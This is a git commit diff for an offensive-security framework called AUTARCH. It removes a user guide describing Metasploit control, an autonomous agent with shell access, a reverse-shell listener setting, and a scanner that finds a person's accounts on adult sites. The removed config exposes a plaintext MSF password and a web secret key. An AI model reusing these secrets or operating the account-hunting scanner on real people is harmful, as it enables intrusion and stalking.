AUTARCH v1.9 — remote monitoring, SSH manager, daemon, vault, cleanup
- Add Remote Monitoring Station with PIAP device profile system - Add SSH/SSHD manager with fail2ban integration - Add privileged daemon architecture for safe root operations - Add encrypted vault, HAL memory, HAL auto-analyst - Add network security suite, module creator, codex training - Add start.sh launcher script and GTK3 desktop launcher - Remove Output/ build artifacts, installer files, loose docs - Update .gitignore for runtime data and build artifacts - Update README for v1.9 with new launch method, screenshots, and features Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
This commit is contained in:
14
.gitignore
vendored
14
.gitignore
vendored
@@ -23,6 +23,17 @@ data/cve/*.db
|
|||||||
data/sites/*.db
|
data/sites/*.db
|
||||||
data/uploads/
|
data/uploads/
|
||||||
data/hardware/
|
data/hardware/
|
||||||
|
data/.splash_accepted
|
||||||
|
data/hal_memory.enc
|
||||||
|
data/vault.enc
|
||||||
|
*.pcap
|
||||||
|
*.pcapng
|
||||||
|
|
||||||
|
# Runtime-generated data
|
||||||
|
data/captures/*
|
||||||
|
data/reports/*
|
||||||
|
data/network/*
|
||||||
|
data/android_exploit/*
|
||||||
|
|
||||||
# Large files
|
# Large files
|
||||||
models/
|
models/
|
||||||
@@ -60,8 +71,11 @@ dist/
|
|||||||
build/
|
build/
|
||||||
build_temp/
|
build_temp/
|
||||||
release/
|
release/
|
||||||
|
Output/
|
||||||
|
installer/
|
||||||
*.spec.bak
|
*.spec.bak
|
||||||
*.zip
|
*.zip
|
||||||
|
*.ab
|
||||||
|
|
||||||
# Local utility scripts
|
# Local utility scripts
|
||||||
kill_autarch.bat
|
kill_autarch.bat
|
||||||
|
|||||||
588
GUIDE.md
588
GUIDE.md
@@ -1,588 +0,0 @@
|
|||||||
# AUTARCH User Guide
|
|
||||||
|
|
||||||
## Project Overview
|
|
||||||
|
|
||||||
**AUTARCH** (Autonomous Tactical Agent for Reconnaissance, Counterintelligence, and Hacking) is a comprehensive security framework developed by **darkHal Security Group** and **Setec Security Labs**.
|
|
||||||
|
|
||||||
### What We Built
|
|
||||||
|
|
||||||
AUTARCH is a modular Python security framework featuring:
|
|
||||||
|
|
||||||
- **LLM Integration** - Local AI via llama.cpp for autonomous assistance
|
|
||||||
- **Autonomous Agent** - AI agent that can execute tools and complete tasks
|
|
||||||
- **Metasploit Integration** - Direct MSF RPC control from within the framework
|
|
||||||
- **Modular Architecture** - Plugin-based system for easy extension
|
|
||||||
- **6 Security Categories** - Defense, Offense, Counter, Analyze, OSINT, Simulate
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Project Structure
|
|
||||||
|
|
||||||
```
|
|
||||||
dh_framework/
|
|
||||||
├── autarch.py # Main entry point
|
|
||||||
├── autarch_settings.conf # Configuration file
|
|
||||||
├── custom_adultsites.json # Custom adult sites storage
|
|
||||||
├── custom_sites.inf # Bulk import file
|
|
||||||
├── DEVLOG.md # Development log
|
|
||||||
├── GUIDE.md # This guide
|
|
||||||
│
|
|
||||||
├── core/ # Core framework modules
|
|
||||||
│ ├── __init__.py
|
|
||||||
│ ├── agent.py # Autonomous AI agent
|
|
||||||
│ ├── banner.py # ASCII banner and colors
|
|
||||||
│ ├── config.py # Configuration handler
|
|
||||||
│ ├── llm.py # LLM wrapper (llama-cpp-python)
|
|
||||||
│ ├── menu.py # Main menu system
|
|
||||||
│ ├── msf.py # Metasploit RPC client
|
|
||||||
│ └── tools.py # Agent tool registry
|
|
||||||
│
|
|
||||||
└── modules/ # User-facing modules
|
|
||||||
├── __init__.py
|
|
||||||
├── setup.py # First-time setup wizard
|
|
||||||
├── chat.py # Interactive LLM chat (core)
|
|
||||||
├── agent.py # Agent interface (core)
|
|
||||||
├── msf.py # Metasploit interface (offense)
|
|
||||||
├── defender.py # System hardening (defense)
|
|
||||||
├── counter.py # Threat detection (counter)
|
|
||||||
├── analyze.py # Forensics tools (analyze)
|
|
||||||
├── recon.py # OSINT reconnaissance (osint)
|
|
||||||
├── adultscan.py # Adult site scanner (osint)
|
|
||||||
└── simulate.py # Attack simulation (simulate)
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Installation & Setup
|
|
||||||
|
|
||||||
### Requirements
|
|
||||||
|
|
||||||
- Python 3.8+
|
|
||||||
- llama-cpp-python (pre-installed)
|
|
||||||
- A GGUF model file for LLM features
|
|
||||||
- Metasploit Framework (optional, for MSF features)
|
|
||||||
|
|
||||||
### First Run
|
|
||||||
|
|
||||||
```bash
|
|
||||||
cd /home/snake/dh_framework
|
|
||||||
python autarch.py
|
|
||||||
```
|
|
||||||
|
|
||||||
On first run, the setup wizard automatically launches with options:
|
|
||||||
1. **Configure LLM** - Set up model for chat & agent features
|
|
||||||
2. **Skip Setup** - Use without LLM (most modules still work)
|
|
||||||
|
|
||||||
### Running Without LLM
|
|
||||||
|
|
||||||
Many modules work without an LLM configured:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Skip setup on first run
|
|
||||||
python autarch.py --skip-setup
|
|
||||||
```
|
|
||||||
|
|
||||||
**Modules that work without LLM:**
|
|
||||||
- defender (Defense) - System hardening checks
|
|
||||||
- counter (Counter) - Threat detection
|
|
||||||
- analyze (Analyze) - File forensics
|
|
||||||
- recon (OSINT) - Email, username, domain lookup
|
|
||||||
- adultscan (OSINT) - Adult site scanner
|
|
||||||
- simulate (Simulate) - Port scan, payloads
|
|
||||||
- msf (Offense) - Metasploit interface
|
|
||||||
|
|
||||||
**Modules that require LLM:**
|
|
||||||
- chat - Interactive LLM chat
|
|
||||||
- agent - Autonomous AI agent
|
|
||||||
|
|
||||||
You can configure LLM later with `python autarch.py --setup`
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Command Line Interface
|
|
||||||
|
|
||||||
### Basic Usage
|
|
||||||
|
|
||||||
```bash
|
|
||||||
python autarch.py [OPTIONS] [COMMAND]
|
|
||||||
```
|
|
||||||
|
|
||||||
### Options
|
|
||||||
|
|
||||||
| Option | Description |
|
|
||||||
|--------|-------------|
|
|
||||||
| `-h, --help` | Show help message and exit |
|
|
||||||
| `-v, --version` | Show version information |
|
|
||||||
| `-c, --config FILE` | Use alternate config file |
|
|
||||||
| `--skip-setup` | Skip first-time setup (run without LLM) |
|
|
||||||
| `-m, --module NAME` | Run a specific module directly |
|
|
||||||
| `-l, --list` | List all available modules |
|
|
||||||
| `--setup` | Force run the setup wizard |
|
|
||||||
| `--no-banner` | Suppress the ASCII banner |
|
|
||||||
| `-q, --quiet` | Minimal output mode |
|
|
||||||
|
|
||||||
### Commands
|
|
||||||
|
|
||||||
| Command | Description |
|
|
||||||
|---------|-------------|
|
|
||||||
| `chat` | Start interactive LLM chat |
|
|
||||||
| `agent` | Start the autonomous agent |
|
|
||||||
| `scan <target>` | Quick port scan |
|
|
||||||
| `osint <username>` | Quick username OSINT |
|
|
||||||
|
|
||||||
### Examples
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Show help
|
|
||||||
python autarch.py --help
|
|
||||||
|
|
||||||
# Run a specific module
|
|
||||||
python autarch.py -m chat
|
|
||||||
python autarch.py -m adultscan
|
|
||||||
|
|
||||||
# List all modules
|
|
||||||
python autarch.py --list
|
|
||||||
|
|
||||||
# Quick OSINT scan
|
|
||||||
python autarch.py osint targetuser
|
|
||||||
|
|
||||||
# Re-run setup
|
|
||||||
python autarch.py --setup
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Main Menu Navigation
|
|
||||||
|
|
||||||
### Menu Structure
|
|
||||||
|
|
||||||
```
|
|
||||||
Main Menu
|
|
||||||
──────────────────────────────────────────────────
|
|
||||||
|
|
||||||
[1] Defense - Defensive security tools
|
|
||||||
[2] Offense - Penetration testing
|
|
||||||
[3] Counter - Counter-intelligence
|
|
||||||
[4] Analyze - Analysis & forensics
|
|
||||||
[5] OSINT - Open source intelligence
|
|
||||||
[6] Simulate - Attack simulation
|
|
||||||
|
|
||||||
[99] Settings
|
|
||||||
[98] Exit
|
|
||||||
```
|
|
||||||
|
|
||||||
### Category Details
|
|
||||||
|
|
||||||
#### [1] Defense
|
|
||||||
System hardening and defensive security:
|
|
||||||
- Full Security Audit
|
|
||||||
- Firewall Check
|
|
||||||
- SSH Hardening
|
|
||||||
- Open Ports Scan
|
|
||||||
- User Security Check
|
|
||||||
- File Permissions Audit
|
|
||||||
- Service Audit
|
|
||||||
|
|
||||||
#### [2] Offense
|
|
||||||
Penetration testing with Metasploit:
|
|
||||||
- Search Modules
|
|
||||||
- Use/Configure Modules
|
|
||||||
- Run Exploits
|
|
||||||
- Manage Sessions
|
|
||||||
- Console Commands
|
|
||||||
- Quick Scanners
|
|
||||||
|
|
||||||
#### [3] Counter
|
|
||||||
Counter-intelligence and threat hunting:
|
|
||||||
- Full Threat Scan
|
|
||||||
- Suspicious Process Detection
|
|
||||||
- Network Analysis
|
|
||||||
- Login Anomalies
|
|
||||||
- File Integrity Monitoring
|
|
||||||
- Scheduled Task Audit
|
|
||||||
- Rootkit Detection
|
|
||||||
|
|
||||||
#### [4] Analyze
|
|
||||||
Forensics and file analysis:
|
|
||||||
- File Analysis (metadata, hashes, type)
|
|
||||||
- String Extraction
|
|
||||||
- Hash Lookup (VirusTotal, Hybrid Analysis)
|
|
||||||
- Log Analysis
|
|
||||||
- Hex Dump Viewer
|
|
||||||
- File Comparison
|
|
||||||
|
|
||||||
#### [5] OSINT
|
|
||||||
Open source intelligence gathering:
|
|
||||||
- **recon.py** - Email, username, phone, domain, IP lookup
|
|
||||||
- **adultscan.py** - Adult site username scanner
|
|
||||||
|
|
||||||
#### [6] Simulate
|
|
||||||
Attack simulation and red team:
|
|
||||||
- Password Audit
|
|
||||||
- Port Scanner
|
|
||||||
- Banner Grabber
|
|
||||||
- Payload Generator (XSS, SQLi, etc.)
|
|
||||||
- Network Stress Test
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Module Reference
|
|
||||||
|
|
||||||
### Core Modules
|
|
||||||
|
|
||||||
#### chat.py - Interactive Chat
|
|
||||||
```
|
|
||||||
Category: core
|
|
||||||
Commands:
|
|
||||||
/help - Show available commands
|
|
||||||
/clear - Clear conversation history
|
|
||||||
/history - Show conversation history
|
|
||||||
/info - Show model information
|
|
||||||
/system - Set system prompt
|
|
||||||
/temp - Set temperature
|
|
||||||
/tokens - Set max tokens
|
|
||||||
/stream - Toggle streaming
|
|
||||||
/exit - Exit chat
|
|
||||||
```
|
|
||||||
|
|
||||||
#### agent.py - Autonomous Agent
|
|
||||||
```
|
|
||||||
Category: core
|
|
||||||
Commands:
|
|
||||||
tools - Show available tools
|
|
||||||
exit - Return to main menu
|
|
||||||
help - Show help
|
|
||||||
|
|
||||||
Available Tools:
|
|
||||||
shell - Execute shell commands
|
|
||||||
read_file - Read file contents
|
|
||||||
write_file - Write to files
|
|
||||||
list_dir - List directory contents
|
|
||||||
search_files - Glob pattern search
|
|
||||||
search_content - Content search (grep)
|
|
||||||
task_complete - Signal completion
|
|
||||||
ask_user - Request user input
|
|
||||||
msf_* - Metasploit tools
|
|
||||||
```
|
|
||||||
|
|
||||||
### OSINT Modules
|
|
||||||
|
|
||||||
#### recon.py - OSINT Reconnaissance
|
|
||||||
```
|
|
||||||
Category: osint
|
|
||||||
Version: 2.0
|
|
||||||
|
|
||||||
Menu:
|
|
||||||
Email
|
|
||||||
[1] Email Lookup
|
|
||||||
[2] Email Permutator
|
|
||||||
|
|
||||||
Username
|
|
||||||
[3] Username Lookup (17+ platforms)
|
|
||||||
[4] Social Analyzer integration
|
|
||||||
|
|
||||||
Phone
|
|
||||||
[5] Phone Number Lookup
|
|
||||||
|
|
||||||
Domain/IP
|
|
||||||
[6] Domain Recon
|
|
||||||
[7] IP Address Lookup
|
|
||||||
[8] Subdomain Enumeration
|
|
||||||
[9] Technology Detection
|
|
||||||
```
|
|
||||||
|
|
||||||
#### adultscan.py - Adult Site Scanner
|
|
||||||
```
|
|
||||||
Category: osint
|
|
||||||
Version: 1.3
|
|
||||||
|
|
||||||
Menu:
|
|
||||||
Scan Categories:
|
|
||||||
[1] Full Scan (all categories)
|
|
||||||
[2] Fanfiction & Story Sites
|
|
||||||
[3] Art & Creative Sites
|
|
||||||
[4] Video & Streaming Sites
|
|
||||||
[5] Forums & Communities
|
|
||||||
[6] Dating & Social Sites
|
|
||||||
[7] Gaming Related Sites
|
|
||||||
[8] Custom Sites Only
|
|
||||||
[9] Custom Category Selection
|
|
||||||
|
|
||||||
Site Management:
|
|
||||||
[A] Add Custom Site (manual)
|
|
||||||
[D] Auto-Detect Site Pattern
|
|
||||||
[B] Bulk Import from File
|
|
||||||
[M] Manage Custom Sites
|
|
||||||
[L] List All Sites
|
|
||||||
|
|
||||||
Sites Database: 50+ built-in sites
|
|
||||||
Categories: fanfiction, art, video, forums, dating, gaming, custom
|
|
||||||
```
|
|
||||||
|
|
||||||
##### Adding Custom Sites
|
|
||||||
|
|
||||||
**Manual Add [A]:**
|
|
||||||
```
|
|
||||||
Site name: MySite
|
|
||||||
URL pattern (use * for username): mysite.com/user/*
|
|
||||||
Detection Method: [1] Status code
|
|
||||||
```
|
|
||||||
|
|
||||||
**Auto-Detect [D]:**
|
|
||||||
```
|
|
||||||
Domain: example.com
|
|
||||||
Test username: knownuser
|
|
||||||
(System probes 17 common patterns)
|
|
||||||
```
|
|
||||||
|
|
||||||
**Bulk Import [B]:**
|
|
||||||
|
|
||||||
1. Edit `custom_sites.inf`:
|
|
||||||
```
|
|
||||||
# One domain per line
|
|
||||||
site1.com
|
|
||||||
site2.net
|
|
||||||
site3.org
|
|
||||||
```
|
|
||||||
|
|
||||||
2. Run Bulk Import and provide test username
|
|
||||||
3. System auto-detects patterns for each domain
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Configuration
|
|
||||||
|
|
||||||
### Config File: autarch_settings.conf
|
|
||||||
|
|
||||||
```ini
|
|
||||||
[llama]
|
|
||||||
model_path = /path/to/model.gguf
|
|
||||||
n_ctx = 4096
|
|
||||||
n_threads = 4
|
|
||||||
n_gpu_layers = 0
|
|
||||||
temperature = 0.7
|
|
||||||
top_p = 0.9
|
|
||||||
top_k = 40
|
|
||||||
repeat_penalty = 1.1
|
|
||||||
max_tokens = 2048
|
|
||||||
seed = -1
|
|
||||||
|
|
||||||
[autarch]
|
|
||||||
first_run = false
|
|
||||||
modules_path = modules
|
|
||||||
verbose = false
|
|
||||||
|
|
||||||
[msf]
|
|
||||||
host = 127.0.0.1
|
|
||||||
port = 55553
|
|
||||||
username = msf
|
|
||||||
password =
|
|
||||||
ssl = true
|
|
||||||
```
|
|
||||||
|
|
||||||
### LLM Settings
|
|
||||||
|
|
||||||
| Setting | Default | Description |
|
|
||||||
|---------|---------|-------------|
|
|
||||||
| model_path | (required) | Path to GGUF model file |
|
|
||||||
| n_ctx | 4096 | Context window size |
|
|
||||||
| n_threads | 4 | CPU threads for inference |
|
|
||||||
| n_gpu_layers | 0 | Layers to offload to GPU |
|
|
||||||
| temperature | 0.7 | Sampling temperature (0.0-2.0) |
|
|
||||||
| top_p | 0.9 | Nucleus sampling threshold |
|
|
||||||
| top_k | 40 | Top-K sampling |
|
|
||||||
| repeat_penalty | 1.1 | Repetition penalty |
|
|
||||||
| max_tokens | 2048 | Maximum response length |
|
|
||||||
| seed | -1 | Random seed (-1 = random) |
|
|
||||||
|
|
||||||
### Metasploit Settings
|
|
||||||
|
|
||||||
| Setting | Default | Description |
|
|
||||||
|---------|---------|-------------|
|
|
||||||
| host | 127.0.0.1 | MSF RPC host |
|
|
||||||
| port | 55553 | MSF RPC port |
|
|
||||||
| username | msf | RPC username |
|
|
||||||
| password | (none) | RPC password |
|
|
||||||
| ssl | true | Use SSL connection |
|
|
||||||
|
|
||||||
**Starting msfrpcd:**
|
|
||||||
```bash
|
|
||||||
msfrpcd -P yourpassword -S -a 127.0.0.1
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Creating Custom Modules
|
|
||||||
|
|
||||||
### Module Template
|
|
||||||
|
|
||||||
```python
|
|
||||||
"""
|
|
||||||
Module description here
|
|
||||||
"""
|
|
||||||
|
|
||||||
# Module metadata (required)
|
|
||||||
DESCRIPTION = "Short description"
|
|
||||||
AUTHOR = "Your Name"
|
|
||||||
VERSION = "1.0"
|
|
||||||
CATEGORY = "osint" # defense, offense, counter, analyze, osint, simulate, core
|
|
||||||
|
|
||||||
import sys
|
|
||||||
from pathlib import Path
|
|
||||||
|
|
||||||
sys.path.insert(0, str(Path(__file__).parent.parent))
|
|
||||||
from core.banner import Colors, clear_screen, display_banner
|
|
||||||
|
|
||||||
|
|
||||||
def run():
|
|
||||||
"""Main entry point - REQUIRED"""
|
|
||||||
clear_screen()
|
|
||||||
display_banner()
|
|
||||||
|
|
||||||
print(f"{Colors.BOLD}My Module{Colors.RESET}")
|
|
||||||
# Your code here
|
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
|
||||||
run()
|
|
||||||
```
|
|
||||||
|
|
||||||
### Available Colors
|
|
||||||
|
|
||||||
```python
|
|
||||||
from core.banner import Colors
|
|
||||||
|
|
||||||
Colors.RED
|
|
||||||
Colors.GREEN
|
|
||||||
Colors.YELLOW
|
|
||||||
Colors.BLUE
|
|
||||||
Colors.MAGENTA
|
|
||||||
Colors.CYAN
|
|
||||||
Colors.WHITE
|
|
||||||
Colors.BOLD
|
|
||||||
Colors.DIM
|
|
||||||
Colors.RESET
|
|
||||||
```
|
|
||||||
|
|
||||||
### Module Categories
|
|
||||||
|
|
||||||
| Category | Color | Description |
|
|
||||||
|----------|-------|-------------|
|
|
||||||
| defense | Blue | Defensive security |
|
|
||||||
| offense | Red | Penetration testing |
|
|
||||||
| counter | Magenta | Counter-intelligence |
|
|
||||||
| analyze | Cyan | Forensics & analysis |
|
|
||||||
| osint | Green | Open source intelligence |
|
|
||||||
| simulate | Yellow | Attack simulation |
|
|
||||||
| core | White | Core framework modules |
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Agent Tools Reference
|
|
||||||
|
|
||||||
The autonomous agent has access to these tools:
|
|
||||||
|
|
||||||
### File Operations
|
|
||||||
```
|
|
||||||
read_file(path) - Read file contents
|
|
||||||
write_file(path, content) - Write to file
|
|
||||||
list_dir(path) - List directory
|
|
||||||
search_files(pattern) - Glob search
|
|
||||||
search_content(pattern) - Grep search
|
|
||||||
```
|
|
||||||
|
|
||||||
### System Operations
|
|
||||||
```
|
|
||||||
shell(command, timeout) - Execute shell command
|
|
||||||
```
|
|
||||||
|
|
||||||
### User Interaction
|
|
||||||
```
|
|
||||||
ask_user(question) - Prompt user for input
|
|
||||||
task_complete(result) - Signal task completion
|
|
||||||
```
|
|
||||||
|
|
||||||
### Metasploit Operations
|
|
||||||
```
|
|
||||||
msf_connect() - Connect to MSF RPC
|
|
||||||
msf_search(query) - Search modules
|
|
||||||
msf_module_info(module) - Get module info
|
|
||||||
msf_module_options(module) - Get module options
|
|
||||||
msf_execute(module, options) - Execute module
|
|
||||||
msf_sessions() - List sessions
|
|
||||||
msf_session_command(id, cmd) - Run session command
|
|
||||||
msf_console(command) - Direct console
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Troubleshooting
|
|
||||||
|
|
||||||
### Common Issues
|
|
||||||
|
|
||||||
**LLM not loading:**
|
|
||||||
- Verify model_path in autarch_settings.conf
|
|
||||||
- Check file permissions on model file
|
|
||||||
- Ensure sufficient RAM for model size
|
|
||||||
|
|
||||||
**MSF connection failed:**
|
|
||||||
- Verify msfrpcd is running: `msfrpcd -P password -S`
|
|
||||||
- Check host/port in settings
|
|
||||||
- Verify password is correct
|
|
||||||
|
|
||||||
**Module not appearing:**
|
|
||||||
- Ensure module has `CATEGORY` attribute
|
|
||||||
- Ensure module has `run()` function
|
|
||||||
- Check for syntax errors
|
|
||||||
|
|
||||||
**Adult scanner false positives:**
|
|
||||||
- Some sites return 200 for all requests
|
|
||||||
- Use content-based detection for those sites
|
|
||||||
- Verify with a known username
|
|
||||||
|
|
||||||
### Debug Mode
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Enable verbose output
|
|
||||||
python autarch.py --verbose
|
|
||||||
|
|
||||||
# Check configuration
|
|
||||||
python autarch.py --show-config
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Security Notice
|
|
||||||
|
|
||||||
AUTARCH is designed for **authorized security testing only**. Users are responsible for:
|
|
||||||
|
|
||||||
- Obtaining proper authorization before testing
|
|
||||||
- Complying with all applicable laws
|
|
||||||
- Using tools ethically and responsibly
|
|
||||||
|
|
||||||
**Do not use for:**
|
|
||||||
- Unauthorized access
|
|
||||||
- Harassment or stalking
|
|
||||||
- Any illegal activities
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Version History
|
|
||||||
|
|
||||||
| Version | Date | Changes |
|
|
||||||
|---------|------|---------|
|
|
||||||
| 1.0 | 2026-01-14 | Initial release |
|
|
||||||
| 1.1 | 2026-01-14 | Added custom site management |
|
|
||||||
| 1.2 | 2026-01-14 | Added auto-detect patterns |
|
|
||||||
| 1.3 | 2026-01-14 | Added bulk import |
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Credits
|
|
||||||
|
|
||||||
**Project AUTARCH**
|
|
||||||
By darkHal Security Group and Setec Security Labs
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
*For development history, see DEVLOG.md*
|
|
||||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
Before Width: | Height: | Size: 64 KiB |
@@ -1,151 +0,0 @@
|
|||||||
[llama]
|
|
||||||
model_path = C:\she\autarch\models\darkHal.gguf
|
|
||||||
n_ctx = 2048
|
|
||||||
n_threads = 4
|
|
||||||
n_gpu_layers = -1
|
|
||||||
temperature = 0.7
|
|
||||||
top_p = 0.9
|
|
||||||
top_k = 40
|
|
||||||
repeat_penalty = 1.1
|
|
||||||
max_tokens = 1024
|
|
||||||
seed = -1
|
|
||||||
n_batch = 512
|
|
||||||
rope_scaling_type = 0
|
|
||||||
mirostat_mode = 0
|
|
||||||
mirostat_tau = 5.0
|
|
||||||
mirostat_eta = 0.1
|
|
||||||
flash_attn = false
|
|
||||||
gpu_backend = vulkan
|
|
||||||
|
|
||||||
[autarch]
|
|
||||||
first_run = false
|
|
||||||
modules_path = modules
|
|
||||||
verbose = false
|
|
||||||
llm_backend = local
|
|
||||||
quiet = false
|
|
||||||
no_banner = false
|
|
||||||
|
|
||||||
[msf]
|
|
||||||
host = 127.0.0.1
|
|
||||||
port = 55553
|
|
||||||
username = msf
|
|
||||||
password = msdf
|
|
||||||
ssl = true
|
|
||||||
|
|
||||||
[osint]
|
|
||||||
max_threads = 8
|
|
||||||
timeout = 8
|
|
||||||
include_nsfw = true
|
|
||||||
|
|
||||||
[transformers]
|
|
||||||
model_path = C:\she\autarch\models\Lily-Cybersecurity-7B-v0.2
|
|
||||||
device = xpu
|
|
||||||
torch_dtype = auto
|
|
||||||
load_in_8bit = false
|
|
||||||
load_in_4bit = true
|
|
||||||
trust_remote_code = false
|
|
||||||
max_tokens = 1024
|
|
||||||
temperature = 0.7
|
|
||||||
top_p = 0.9
|
|
||||||
top_k = 40
|
|
||||||
repetition_penalty = 1.1
|
|
||||||
use_fast_tokenizer = true
|
|
||||||
padding_side = left
|
|
||||||
do_sample = true
|
|
||||||
num_beams = 1
|
|
||||||
llm_int8_enable_fp32_cpu_offload = false
|
|
||||||
device_map = auto
|
|
||||||
|
|
||||||
[claude]
|
|
||||||
api_key =
|
|
||||||
model = claude-sonnet-4-20250514
|
|
||||||
max_tokens = 4096
|
|
||||||
temperature = 0.7
|
|
||||||
|
|
||||||
[pentest]
|
|
||||||
max_pipeline_steps = 50
|
|
||||||
output_chunk_size = 2000
|
|
||||||
auto_execute = false
|
|
||||||
save_raw_output = true
|
|
||||||
|
|
||||||
[rsf]
|
|
||||||
install_path =
|
|
||||||
enabled = true
|
|
||||||
default_target =
|
|
||||||
default_port = 80
|
|
||||||
execution_timeout = 120
|
|
||||||
|
|
||||||
[upnp]
|
|
||||||
enabled = true
|
|
||||||
internal_ip = 10.0.0.26
|
|
||||||
refresh_hours = 12
|
|
||||||
mappings = 443:TCP,51820:UDP,8080:TCP
|
|
||||||
|
|
||||||
[wireguard]
|
|
||||||
enabled = true
|
|
||||||
config_path = /etc/wireguard/wg0.conf
|
|
||||||
interface = wg0
|
|
||||||
subnet = 10.1.0.0/24
|
|
||||||
server_address = 10.1.0.1
|
|
||||||
listen_port = 51820
|
|
||||||
default_dns = 1.1.1.1, 8.8.8.8
|
|
||||||
default_allowed_ips = 0.0.0.0/0, ::/0
|
|
||||||
|
|
||||||
[huggingface]
|
|
||||||
api_key =
|
|
||||||
model = mistralai/Mistral-7B-Instruct-v0.3
|
|
||||||
endpoint =
|
|
||||||
max_tokens = 1024
|
|
||||||
temperature = 0.7
|
|
||||||
top_p = 0.9
|
|
||||||
|
|
||||||
[discovery]
|
|
||||||
enabled = true
|
|
||||||
mdns_enabled = true
|
|
||||||
bluetooth_enabled = true
|
|
||||||
bt_require_security = true
|
|
||||||
|
|
||||||
[web]
|
|
||||||
host = 0.0.0.0
|
|
||||||
port = 8181
|
|
||||||
secret_key = 23088243f11ce0b135c64413073c8c9fc0ecf83711d5f892b68f95b348a54007
|
|
||||||
mcp_port = 8081
|
|
||||||
|
|
||||||
[revshell]
|
|
||||||
enabled = true
|
|
||||||
host = 0.0.0.0
|
|
||||||
port = 17322
|
|
||||||
auto_start = false
|
|
||||||
|
|
||||||
[slm]
|
|
||||||
enabled = true
|
|
||||||
backend = local
|
|
||||||
model_path =
|
|
||||||
n_ctx = 512
|
|
||||||
n_gpu_layers = -1
|
|
||||||
n_threads = 2
|
|
||||||
|
|
||||||
[sam]
|
|
||||||
enabled = true
|
|
||||||
backend = local
|
|
||||||
model_path =
|
|
||||||
n_ctx = 2048
|
|
||||||
n_gpu_layers = -1
|
|
||||||
n_threads = 4
|
|
||||||
|
|
||||||
[lam]
|
|
||||||
enabled = true
|
|
||||||
backend = local
|
|
||||||
model_path =
|
|
||||||
n_ctx = 4096
|
|
||||||
n_gpu_layers = -1
|
|
||||||
n_threads = 4
|
|
||||||
|
|
||||||
[autonomy]
|
|
||||||
enabled = false
|
|
||||||
monitor_interval = 3
|
|
||||||
rule_eval_interval = 5
|
|
||||||
max_concurrent_agents = 3
|
|
||||||
threat_threshold_auto_respond = 40
|
|
||||||
log_max_entries = 1000
|
|
||||||
|
|
||||||
@@ -1 +0,0 @@
|
|||||||
pip
|
|
||||||
@@ -1,82 +0,0 @@
|
|||||||
Metadata-Version: 2.4
|
|
||||||
Name: click
|
|
||||||
Version: 8.2.1
|
|
||||||
Summary: Composable command line interface toolkit
|
|
||||||
Maintainer-email: Pallets <contact@palletsprojects.com>
|
|
||||||
Requires-Python: >=3.10
|
|
||||||
Description-Content-Type: text/markdown
|
|
||||||
License-Expression: BSD-3-Clause
|
|
||||||
Classifier: Development Status :: 5 - Production/Stable
|
|
||||||
Classifier: Intended Audience :: Developers
|
|
||||||
Classifier: Operating System :: OS Independent
|
|
||||||
Classifier: Programming Language :: Python
|
|
||||||
Classifier: Typing :: Typed
|
|
||||||
License-File: LICENSE.txt
|
|
||||||
Requires-Dist: colorama; platform_system == 'Windows'
|
|
||||||
Project-URL: Changes, https://click.palletsprojects.com/page/changes/
|
|
||||||
Project-URL: Chat, https://discord.gg/pallets
|
|
||||||
Project-URL: Documentation, https://click.palletsprojects.com/
|
|
||||||
Project-URL: Donate, https://palletsprojects.com/donate
|
|
||||||
Project-URL: Source, https://github.com/pallets/click/
|
|
||||||
|
|
||||||
# $ click_
|
|
||||||
|
|
||||||
Click is a Python package for creating beautiful command line interfaces
|
|
||||||
in a composable way with as little code as necessary. It's the "Command
|
|
||||||
Line Interface Creation Kit". It's highly configurable but comes with
|
|
||||||
sensible defaults out of the box.
|
|
||||||
|
|
||||||
It aims to make the process of writing command line tools quick and fun
|
|
||||||
while also preventing any frustration caused by the inability to
|
|
||||||
implement an intended CLI API.
|
|
||||||
|
|
||||||
Click in three points:
|
|
||||||
|
|
||||||
- Arbitrary nesting of commands
|
|
||||||
- Automatic help page generation
|
|
||||||
- Supports lazy loading of subcommands at runtime
|
|
||||||
|
|
||||||
|
|
||||||
## A Simple Example
|
|
||||||
|
|
||||||
```python
|
|
||||||
import click
|
|
||||||
|
|
||||||
@click.command()
|
|
||||||
@click.option("--count", default=1, help="Number of greetings.")
|
|
||||||
@click.option("--name", prompt="Your name", help="The person to greet.")
|
|
||||||
def hello(count, name):
|
|
||||||
"""Simple program that greets NAME for a total of COUNT times."""
|
|
||||||
for _ in range(count):
|
|
||||||
click.echo(f"Hello, {name}!")
|
|
||||||
|
|
||||||
if __name__ == '__main__':
|
|
||||||
hello()
|
|
||||||
```
|
|
||||||
|
|
||||||
```
|
|
||||||
$ python hello.py --count=3
|
|
||||||
Your name: Click
|
|
||||||
Hello, Click!
|
|
||||||
Hello, Click!
|
|
||||||
Hello, Click!
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
## Donate
|
|
||||||
|
|
||||||
The Pallets organization develops and supports Click and other popular
|
|
||||||
packages. In order to grow the community of contributors and users, and
|
|
||||||
allow the maintainers to devote more time to the projects, [please
|
|
||||||
donate today][].
|
|
||||||
|
|
||||||
[please donate today]: https://palletsprojects.com/donate
|
|
||||||
|
|
||||||
## Contributing
|
|
||||||
|
|
||||||
See our [detailed contributing documentation][contrib] for many ways to
|
|
||||||
contribute, including reporting issues, requesting features, asking or answering
|
|
||||||
questions, and making PRs.
|
|
||||||
